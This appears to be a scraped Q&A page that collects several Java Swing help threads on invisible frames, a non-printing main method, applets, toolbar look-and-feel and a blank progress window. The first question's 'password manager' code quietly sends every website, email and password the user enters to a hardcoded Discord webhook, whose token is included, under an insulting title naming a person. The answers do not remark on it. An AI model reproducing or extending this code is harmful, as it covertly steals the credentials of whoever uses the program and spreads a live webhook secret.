Develop Reference

Why is GUI content not visible?

I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.
But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"
//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});
//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);
}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"\n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "\n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}
I also tried to research online, but no one has the same problem. So I decided to open a question here.

I see you are probably following a tutorial.
There is a lot going on here. But the most important code is the first part.
You need to set your contentPane.
In every GUI with Java Swing, you set your JFrame to be the frame.
Then you add your JPanel to your JFrame.
frame.add(panel);
then you set your panel as contentPane:
frame.setContentPane(panel)
Then you add all your elements to your panel.
Also you need to use a layout manager.
You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.
Does this help you? please use a comment if it helped or not, then I can take another look.

This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.
You could already start with some inheritance:
public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}
The above uses two different creation styles (for resp. panel and label).
The frame is made visible on the AWT event queue by invokeLater.
() -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).
Calling pack does layouting.
There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.
I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.

Why won't main method print anything?

I've been trying to figure out what's wrong with my code. I have to build a GUI and there are no errors. The program builds successfully, but no GUI pops up. So in the main method, I commented out the GUI programming and added a simple System.out.println("hello"); but it does the same thing, i.e., it builds successfully, but does not print anything. Can someone please tell me what's wrong? Thanks!
/*
* To change this license header, choose License Headers in Project
Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package gui;
import java.awt.*;
import javax.swing.*;
import java.awt.Event.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class GUI extends JFrame {
GridLayout g = new GridLayout(5, 2);
private JLabel baseIn = new JLabel("Base Input");
private JLabel heightIn = new JLabel("Height Input");
private JTextField base = new JTextField();
private JTextField height = new JTextField();
private JTextField area = new JTextField();
private JButton calc = new JButton("Calculate Area");
public GUI() {
super("Triangle Area Calculator");
setSize(500, 300);
setLayout(g);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener((ActionListener) this);
pack();
setVisible(true);
}
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5*bInput*hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
public static void main(String[] args) {
/*JFrame frame = new JFrame();
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);*/
System.out.println("hello world");
}
}

First, going back to the basic code...
public class GUI extends JFrame {
//...
public static void main(String[] args) {
JFrame frame = new JFrame();
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);
}
}
Will fail, because you can't add a window based component to a window. As a general rule of thumb, you should avoid overriding JFrame (and other top level containers) directly and favour something less complex, like JPanel
public class GUI extends JPanel {
//...
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
#Override
public void run() {
JFrame frame = new JFrame();
frame.add(new GUI());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
});
}
}
Next...
calc.addActionListener((ActionListener) this);
The fact that you need to perform a cast in order to get the code to work is a clear sign that something else is wrong and this is likely to cause a runtime error and crash your program. Perhaps you should start by having a read of How to write a Action Listener and How to Use Buttons, Check Boxes, and Radio Buttons to get a better understanding of how the API works
This is further supported by making use of the #Override annotation, which should be used when ever you "think" you're implementing or overriding existing functionality...
#Override
public void actionPerformed(ActionEvent e) {
//...
}
This would then fail to compile, as you're not implementing any existing functionality. This functionality is described by the ActionListener interface which you are not implementing.
While you could implement this interface directly, I prefer to avoid doing so, as it exposes functionality that other classes shouldn't have access to and you run the risk of building a "god" method, which is never a good idea.
Instead, I prefer to make use of Java's Anonymous Classes, which provides a much better means for isolating functionality to single use case, for example...
calc.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
});
Runnable Example
import java.awt.EventQueue;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
public class GUI extends JPanel {
GridLayout g = new GridLayout(5, 2);
private JLabel baseIn = new JLabel("Base Input");
private JLabel heightIn = new JLabel("Height Input");
private JTextField base = new JTextField();
private JTextField height = new JTextField();
private JTextField area = new JTextField();
private JButton calc = new JButton("Calculate Area");
public GUI() {
setLayout(g);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
});
}
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
#Override
public void run() {
JFrame frame = new JFrame();
frame.add(new GUI());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
});
}
}
Netbeans properties...
Now, if all that still fails to net you a result, you need to make sure that your GUI class is configured as the "Main class".
Start by right clicking the Netbeans project node and select "Properties" (it's at the bottom).
From the "Projects Properties", select "Run" from the "Build" options down the left side.
Make sure that your GUI class is marked as the "Main Class", use "Browse" to find it if it's not

Try this
calc.addActionListener(new OptionButtonHandler());
I added one optionButtonHandler class which implements ActionListener. I checked on my IDE and I was able to get the area of the triangle.
private class OptionButtonHandler implements ActionListener {
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
}
In your case, GUI is not an ActionListener, so that will fail.

Can you right click on the file with the main method in Netbeans, you should see the run option there, select it. This would allow you set your main method. After this, subsequent clicks on the Green play Button should work.
You do not need to cast your Frame class to an ActionListener. Instead, make it implement the ActionListener interface and your code for the button action should work. But in future, its better to add logic to detect what component triggered the action.

I don't know, but how can you write this :
calc.addActionListener((ActionListener) this);
Your object (this) is a JFrame, you should add 'implements ActionListener' first, or create a separate implementation ...
Next error, you do :
GUI one = new GUI();
frame.getContentPane().add(one);
GUI extends JFrame, its a JFrame, you can't add a JFrame in another one !
I tested with add of 'implements ActionListener' and it runs, but some errors remains ;)
Copy/paste needs wisdom, hum ^^
EDIT
this code is not perfect (and very ugly) but it works for your example :
package com.mead.helmet.core;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.WindowConstants;
public class GUI extends JPanel implements ActionListener {
public static void main(final String[] args) {
JFrame frame = new JFrame("Triangle Area Calculator");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);
System.out.println("hello world");
}
GridLayout g = new GridLayout(5, 2);
private final JLabel baseIn = new JLabel("Base Input");
private final JLabel heightIn = new JLabel("Height Input");
private final JTextField base = new JTextField();
private final JTextField height = new JTextField();
private final JTextField area = new JTextField();
private final JButton calc = new JButton("Calculate Area");
public GUI() {
super();
setSize(500, 300);
setLayout(g);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener((ActionListener) this);
setVisible(true);
}
/**
*
* #param event
*/
#Override
public void actionPerformed(final ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
}

JFrame to JApplet doesnt work in browser

I have a Java program with a Swing GUI im trying to make it work as a JApplet on a HTML file when I test it on Eclipse launch it as a Applet it works but when I compile it using javac. I get all these files Reverser.class, Reverser$1.class, Reverser$2.class, Reverser$3.class and Reverser$4.class. It doesnt work an help
<HTML>
<BODY>
<applet code="Reverser.class", height="500" width="800">
</applet>
</BODY>
</HTML>
package Applets;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JApplet;
import javax.swing.JButton;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.SwingUtilities;
public class Reverser extends JApplet
{
/**
*
*/
private static final long serialVersionUID = 1L;
//All Swing elements declared here
private JTextArea userinput, useroutput;
private JScrollPane sbr_userinput, sbr_useroutput;
private JButton runButton, clearButton, homeButton;
private String text; //User input stored here
private String reversed_text; //reversed text stored here
public void init()
{
try {
SwingUtilities.invokeAndWait(new Runnable() {
public void run() {
setContentPane(GUI());
}
});
} catch (Exception e) {
System.err.println("createGUI didn't complete successfully");
}
}
public Container GUI() //Main GUI container here
{
JPanel totalGUI = new JPanel(); //Main panel set here
totalGUI.setLayout(new GridLayout(1, 2, 3, 3)); //Main panel layout set here.
JPanel lPanel = new JPanel(); //Left panel made here
lPanel.setLayout(new GridLayout(2, 1, 3 , 3)); //Left panel layout set here
totalGUI.add(lPanel); // Left Panel added to main panel.
JPanel rPanel = new JPanel(new GridLayout(3, 1, 3 , 3)); //Right panel made here and its layout set here aswell
totalGUI.add(rPanel);//Right panel added to main panel.
//Userinput TextArea made here
userinput = new JTextArea("Welcome to wicky waky text reverser!!!" + "\n" + "Enter your sentence HERE man!!!!");
userinput.setEditable(true); //TextArea set to editable
userinput.setLineWrap(true);
userinput.setWrapStyleWord(true);
lPanel.add(userinput);//TextArea added to left panel
useroutput = new JTextArea(); //useroutput TextArea set here
useroutput.setEditable(false); //TextArea set to not editable
useroutput.setLineWrap(true);
useroutput.setWrapStyleWord(true);
lPanel.add(useroutput); //TextArea added to the left panel
//Scroll bar made here
sbr_userinput = new JScrollPane(userinput, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,
JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
sbr_userinput.setPreferredSize(new Dimension(300, 300));
lPanel.add(sbr_userinput); //Scroll bar added to left panel
//Scroll bar made here
sbr_useroutput = new JScrollPane(useroutput, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,
JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
sbr_useroutput.setPreferredSize(new Dimension(300, 300));
lPanel.add(sbr_useroutput); //Scroll bar added to the left panel
runButton = new JButton("RUN"); //Button made here
runButton.addActionListener(new ActionListener() //Action Listener made here
{
public void actionPerformed(ActionEvent e)
{
text = userinput.getText(); //Get userinput here
reversed_text = reverser(text); //reverser method called here
try {
userinput.setText("");
userinput.setText("Processed");
Thread.sleep(500); //sleep 0.5 sec
//Print out all output here
useroutput.setText("Your sentence is ==> " + text + "\n" + "\n"
+ "Your reversed sentence is ==> " + reversed_text);
} catch (InterruptedException e1)
{
e1.printStackTrace();
}
System.out.println("working");
}
});
rPanel.add(runButton); //Add button to right panel
clearButton = new JButton("CLEAR"); //New button made here
clearButton.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
userinput.setText(""); //Set userinput to empty
useroutput.setText(""); //Set useroutput to empty
System.out.println("cleared");
}
});
rPanel.add(clearButton); //Add button to right panel
homeButton = new JButton("HOME"); //New button made here
homeButton.addActionListener(new ActionListener() //Action Listener added here
{
public void actionPerformed(ActionEvent e)
{
}
});
rPanel.add(homeButton); //add button to right panel
totalGUI.setOpaque(true);
return totalGUI; // return totalGUI
}
public static String reverser(String text)
{
//"text" is now put in the object "reverse_text", StringBuffer used so I can use the reverse method.
StringBuffer reverse_text = new StringBuffer(text);
String reversed = reverse_text.reverse().toString(); //reverse and toString methods used.
return reversed; // return revered
}
}

You don't have the package name in your applet. Consider changing
code="Reverser.class"
to
code="Applets.Reverser.class"
and making sure that the class file is in the Applets subdirectory relative to the HTML file. Or even better, create a jar file.
Also you need to post the error messages that the browser is giving you. You could have a version incompatibility for all we know.

How to keep Metal L&F when dragging JToolBar

In our aplication we use Metal L&F. We are using a floatable JToolBar; it happens that when doing the drag behavior it appears with the Windows L&F.
May anyone say me how to keep Metal L&F when dragging the JToolBar?
Thanks
P.D. Our JToolBar is within a JPanel container that user BorderLayout Layout Manager.
Maybe I explained badly my question. So I post an example taken from The Java Tutorials to give anyone an idea of what happens to my application.
If you execute the following code the main JFrame appears decorated with Ocean Theme; but when I drag the JToolBar its decorated is not Ocean. What can I do??.
Many thanks in advance
package components;
/*
* ToolBarDemo.java requires the following addditional files:
* images/Back24.gif
* images/Forward24.gif
* images/Up24.gif
*/
import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.net.URL;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JToolBar;
import javax.swing.SwingUtilities;
import javax.swing.UIManager;
import javax.swing.plaf.metal.MetalLookAndFeel;
import javax.swing.plaf.metal.OceanTheme;
public class ToolBarDemo extends JPanel
implements ActionListener {
protected JTextArea textArea;
protected String newline = "\n";
static final private String PREVIOUS = "previous";
static final private String UP = "up";
static final private String NEXT = "next";
public ToolBarDemo() {
super(new BorderLayout());
//Create the toolbar.
JToolBar toolBar = new JToolBar("Still draggable");
addButtons(toolBar);
//Create the text area used for output. Request
//enough space for 5 rows and 30 columns.
textArea = new JTextArea(5, 30);
textArea.setEditable(false);
JScrollPane scrollPane = new JScrollPane(textArea);
//Lay out the main panel.
setPreferredSize(new Dimension(450, 130));
add(toolBar, BorderLayout.PAGE_START);
add(scrollPane, BorderLayout.CENTER);
}
protected void addButtons(JToolBar toolBar) {
JButton button = null;
//first button
button = makeNavigationButton("Back24", PREVIOUS,
"Back to previous something-or-other",
"Previous");
toolBar.add(button);
//second button
button = makeNavigationButton("Up24", UP,
"Up to something-or-other",
"Up");
toolBar.add(button);
//third button
button = makeNavigationButton("Forward24", NEXT,
"Forward to something-or-other",
"Next");
toolBar.add(button);
}
protected JButton makeNavigationButton(String imageName,
String actionCommand,
String toolTipText,
String altText) {
//Look for the image.
String imgLocation = "images/"
+ imageName
+ ".gif";
URL imageURL = ToolBarDemo.class.getResource(imgLocation);
//Create and initialize the button.
JButton button = new JButton();
button.setActionCommand(actionCommand);
button.setToolTipText(toolTipText);
button.addActionListener(this);
if (imageURL != null) { //image found
button.setIcon(new ImageIcon(imageURL, altText));
} else { //no image found
button.setText(altText);
System.err.println("Resource not found: "
+ imgLocation);
}
return button;
}
public void actionPerformed(ActionEvent e) {
String cmd = e.getActionCommand();
String description = null;
// Handle each button.
if (PREVIOUS.equals(cmd)) { //first button clicked
description = "taken you to the previous <something>.";
} else if (UP.equals(cmd)) { // second button clicked
description = "taken you up one level to <something>.";
} else if (NEXT.equals(cmd)) { // third button clicked
description = "taken you to the next <something>.";
}
displayResult("If this were a real app, it would have "
+ description);
}
protected void displayResult(String actionDescription) {
textArea.append(actionDescription + newline);
textArea.setCaretPosition(textArea.getDocument().getLength());
}
/**
* Create the GUI and show it. For thread safety,
* this method should be invoked from the
* event dispatch thread.
*/
private static void createAndShowGUI() {
//Create and set up the window.
JFrame frame = new JFrame("ToolBarDemo");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
//Add content to the window.
frame.add(new ToolBarDemo());
//Display the window.
frame.pack();
frame.setVisible(true);
}
public static void main(String[] args) {
//Schedule a job for the event dispatch thread:
//creating and showing this application's GUI.
SwingUtilities.invokeLater(new Runnable() {
public void run() {
setsLF();
createAndShowGUI();
}
});
}
/**
*
*/
private static void setsLF() {
try {
UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName());
MetalLookAndFeel.setCurrentTheme(new OceanTheme());
UIManager.setLookAndFeel(new MetalLookAndFeel());
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log (java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ToolBarDemo.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
JFrame.setDefaultLookAndFeelDecorated(Boolean.TRUE);
return;
}
}

Looks like nowadays the toplevel container of the ripped of toolBar is of type JDialog, so you have the set the lafDecoration for that as well:
JFrame.setDefaultLookAndFeelDecorated(Boolean.TRUE);
JDialog.setDefaultLookAndFeelDecorated(true);
Works for jdk7 and vista, didn't test other environments.

I made a small project as you described:
public class LafTest
{
public static void main(String[] args)
{
JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
frame.setSize(500, 500);
JPanel panel = new JPanel(new BorderLayout());
JToolBar toolbar = new JToolBar();
toolbar.add(new JButton("button1"));
toolbar.add(new JButton("button2"));
panel.add(toolbar, BorderLayout.PAGE_START);
frame.add(panel);
frame.setVisible(true);
}
}
Works fine for me, all the time the JToolBar has Metal-LAF.
(OS: Windows 7 x64, java version "1.7.0_09")
Please compare your code with this snippet. Propably you used the UIManager-class somewhere. If you still cannot fix this issue, you should post some of the used code and maybe some more details about your OS and the used Java version.

change jlabel with method

I am writing a small program that converts files, and I wanted to have a box pop up that asks the user to please wait while the program loops through and converts all the relevant files, but I am running into a small problem. The box that pops up should have a JLabel and a JButton, while the user is "waiting" I wanted to display a message that says please wait, and a disabled "OK" JButton, and then when its finished I wanted to set the text of the JLabel to let them know that It successfully converted their files, and give them a count of how many files were converted. (I wrote a method called alert that sets the text of the label and enables the button.) The problem is That while the program is running, the box is empty, the Label and the Button are not visible, when it finishes, label appears with the final text that I want and the button appears enabled. I am not sure exactly what is going on, I tried changing the modifiers of the JLabel and JButton several times but I cant seem to get it to work correctly. Here is the code for the box that pops up, any help is greatly appricated.
import java.awt.BorderLayout;
import java.awt.FlowLayout;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
public class PleaseWait extends javax.swing.JFrame{
private static final int height = 125;
private static final int width = 350;
final static JLabel converting = new JLabel("Please Wait while I convert your files");
private static JButton OK = new JButton("OK");
public PleaseWait(){
// creates the main window //
JFrame mainWindow = new JFrame();
mainWindow.setTitle("Chill For A Sec");
mainWindow.setSize(width, height);
mainWindow.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
// creates the layouts//
JPanel mainLayout = new JPanel(new BorderLayout());
JPanel textLayout = new JPanel(new FlowLayout());
JPanel buttonLayout = new JPanel(new FlowLayout());
// Sets Text //
converting.setText("Please wait while I convert your files");
// disables button //
OK.setEnabled(false);
// adds to the layouts //
textLayout.add(converting);
buttonLayout.add(OK);
mainLayout.add(textLayout, BorderLayout.CENTER);
mainLayout.add(buttonLayout, BorderLayout.SOUTH);
// adds to the frame //
mainWindow.add(mainLayout);
// sets everything visible //
mainWindow.setVisible(true);
}
public static void alert(){
OK.setEnabled(true);
String total = String.valueOf(Convert.result());
converting.setText("Sucsess! " + total + " files Converted");
}
}

Okay here's the issue. You are extending the JFrame . That means your class IS a JFrame.
When you create the PleaseWait frame you don't do anything to it. This is the empty box you are seeing. You are instead creating a different JFrame in your constructor. Remove your mainWindow and instead just use this. Now all of your components will be added to your PleaseWait object. That should fix your blank box issue.

You need an application to create your frame first. This is a simple example of such application.
import javax.swing.UIManager;
import java.awt.*;
public class Application {
boolean packFrame = false;
//Construct the application
public Application() {
PleaseWait frame = new PleaseWait();
//Validate frames that have preset sizes
//Pack frames that have useful preferred size info, e.g. from their layout
if (packFrame) {
frame.pack();
}
else {
frame.validate();
}
//Center the window
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
Dimension frameSize = frame.getSize();
if (frameSize.height > screenSize.height) {
frameSize.height = screenSize.height;
}
if (frameSize.width > screenSize.width) {
frameSize.width = screenSize.width;
}
frame.setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2);
frame.setVisible(true);
frame.convert();
}
//Main method
public static void main(String[] args) {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
}
catch(Exception e) {
e.printStackTrace();
}
new Application();
}
}
You have to slightly modify your frame to add controls to the content pane. You can do some work after frame is created, then call alert.
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
public class PleaseWait extends JFrame {
private static final int height = 125;
private static final int width = 350;
final static JLabel converting = new JLabel();
private static JButton OK = new JButton("OK");
BorderLayout borderLayout1 = new BorderLayout();
JPanel contentPane;
int count;
public PleaseWait(){
contentPane = (JPanel)this.getContentPane();
contentPane.setLayout(borderLayout1);
this.setSize(new Dimension(width, height));
this.setTitle("Chill For A Sec");
this.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
// creates the layouts//
JPanel mainLayout = new JPanel(new BorderLayout());
JPanel textLayout = new JPanel(new FlowLayout());
JPanel buttonLayout = new JPanel(new FlowLayout());
// Sets Text //
converting.setText("Please wait while I convert your files");
// disables button //
OK.setEnabled(false);
OK.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
System.exit(0);
}
});
// adds to the layouts //
textLayout.add(converting);
buttonLayout.add(OK);
mainLayout.add(textLayout, BorderLayout.CENTER);
mainLayout.add(buttonLayout, BorderLayout.SOUTH);
// adds to the frame //
contentPane.add(mainLayout);
}
public void convert(){
count = 0;
for (int i = 0; i <10; i++){
System.out.println("Copy "+i);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
}
count++;
}
alert();
}
public void alert(){
OK.setEnabled(true);
// String total = String.valueOf(Convert.result());
converting.setText("Sucsess! " + count + " files Converted");
}
}